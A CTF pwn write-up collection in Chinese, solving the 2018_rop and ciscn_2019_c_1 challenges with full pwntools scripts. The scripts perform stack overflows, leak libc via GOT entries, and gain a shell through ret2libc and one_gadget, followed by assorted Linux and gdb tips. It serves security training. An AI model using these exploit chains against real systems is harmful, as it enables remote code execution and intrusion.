#flag{4a861532-2de7-457d-a5a3-bd5939d59608}
libc_base = read_addr - libc.dump('read')
print("base:"+hex(libc_base))
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = 'a'.encode() * (0x20 + 8) + p64(pop_rdi)+p64(str_bin_sh)+ p64(system_addr)+ p64(main_addr) ## run main
p.sendline(payload1)
p.interactive()
## ubuntu 16 : libc2.23
鐵人三項(第五賽區)2018_rop
0x00 題目描述
rop…ropp
0x01 題目分析
拖進IDA,看到main
很明顯read會造成棧溢出。于是就開始動手吧~
0x02 exp
整體思路:
- 構造棧溢出洩露libc
- getshell
- one_gadget
- system調用
這邊要注意的是,如果Libcsearcher無法通過遠端,可以通過本地,可以去BUUCTF官網下載下傳一下題目指定的libc,不同電腦的libcsearcher不一定收錄了題目環境的libc.
LIBC下載下傳位址:https://buuoj.cn/resources
題目環境:#ubuntu 18.04 libc:2.27 (7)
#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="i386"
isLocal=0
if isLocal:
p=process("/root/2018_rop")#
pause()
else :
p=remote("node4.buuoj.cn",28200)
elf=ELF('/root/2018_rop')
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
payload = 'a'.encode() * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
p.sendline(payload)
read_addr = u32(p.recv())
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = 'a'.encode() * (0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
p.sendline(payload1)
p.interactive()
ciscn_2019_c_1
0x00 題目簡介
CISCN:全國大學生資訊安全競賽
0x01 程式分析
IDA拖進看程式
基本的詢問,輸入1會進入一個encrypt的函數
↓
進入encrypt函數
大概分析
- gets會造成棧溢出
- 裡面是有對輸入的字元串進行xor加密。
怎麼辦呢?
或許你可以選擇将自己構造的溢出payload xor加密後,再上傳。
但是最終我們的目标是getshell,這邊還有一個漏洞知識
- strlen遇到
會截斷\x00
也就是說,我們gets第一個字元串寫
\x00
,後面填溢出payload,strlen(buf)是為0的
是以,我這裡直接利用了strlen截斷的方式繞過xor。後面,你就可以大膽的通過溢出幹事了。。
0x02 exp
-
是調用_start
main
的函數(構造多重rop時注意修複棧内的傳回位址,防止崩潰)
整體思路:
- 通過棧溢出洩露gets位址,然後計算libc基位址
- 用one_gadget去getshell
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/ciscn_2019_c_1"
p = remote("node4.buuoj.cn",29324)
p.sendlineafter(b'choice!',b'1')
elf=ELF(name)
puts_plt=elf.plt['puts']
pop_rdi=0x0000000000400c83 #: pop rdi ; ret
gets_got=elf.got['gets']
start_=elf.sym['_start']
#洩露libc
payload=b'\x00'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(gets_got)+p64(puts_plt)+p64(start_)
p.sendlineafter("d\n",payload)
p.recvuntil(b"Ciphertext\n\n")
#getshell
gets_got=u64(p.recv(6).ljust(8,b'\x00'))
libc=ELF("./x64/libc-2.27_buuctf.so")
libc_base=gets_got-libc.sym['gets']
one_gadget=0x4f322+libc_base
payload=b'\x00'+b'a'*(0x50-1+8)+p64(one_gadget)+p64(start_)
p.sendlineafter(b'choice!',b'1')
p.sendlineafter("d\n",payload)
p.interactive()
"""libc2.27
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
基礎知識
top指令 檢視主要程序資訊
vscode中
Ctrl+F5 快速運作代碼
sudo apt remove xx 删除軟體
如何打包一個檔案夾為壓縮包?
tar -cvf 壓縮包名 檔案夾
新方法checksec
pwn checksec /root/2019_OPPO*
經驗,要使用Libcsearcher
搜尋後先把dump,使用對象的函數寫上,否則搜尋不輸出
ls - alh 輸出詳細的目錄清單
更快的 attach辦法(第二):
程式内部pause(),記錄Pid,去終端程式輸入gdb 然後attach pid
python
global 變量名(可聲明全局變量)
在gdb用x/查詢位址時 用精确16進制位址才可偏移
x/100xb 檢視100個位元組的記憶體
alarm如何過掉?(逾時報警)
到alarm函數改rdi 就是時間
分屏先用tmux指令啟動